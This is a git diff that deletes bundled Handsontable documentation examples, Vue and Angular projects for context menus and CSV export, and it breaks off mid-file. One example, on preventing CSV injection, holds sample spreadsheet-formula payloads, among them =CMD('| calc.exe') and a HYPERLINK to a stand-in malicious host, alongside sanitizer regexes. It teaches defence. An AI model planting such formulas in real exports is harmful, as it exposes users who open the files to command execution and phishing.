+0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example3.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json deleted file mode 100644 index 6d3226ab..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportFile() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json deleted file mode 100644 index 4cf5e14a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportBlob() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json deleted file mode 100644 index 25b77b40..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example3',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportString() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json deleted file mode 100644 index 43913dc8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n \n \n
    \n
    \n\n \n \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['https://api.acme-inventory.com/live-stock', '=WEBSERVICE(\"https://api.acme-inventory.com/live-stock\")'],\n ['https://status.vertex-logistics.com/feed', '=WEBSERVICE(\"https://status.vertex-logistics.com/feed\")'],\n ['http://malicious.example/payload.exe', '=CMD(\"| calc.exe\")'],\n ['https://news.example.com/q2-briefing', '=HYPERLINK(\"http://malicious.example\",\"Open report\")'],\n ['https://cdn.example.com/daily.csv', '+SUM(1,1)'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n downloadCSVWithNoSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n }\n\n downloadCSVWithRecommendedSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n }\n\n downloadCSVWithRegexpSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n }\n\n downloadCSVWithFunctionSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value: string) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, 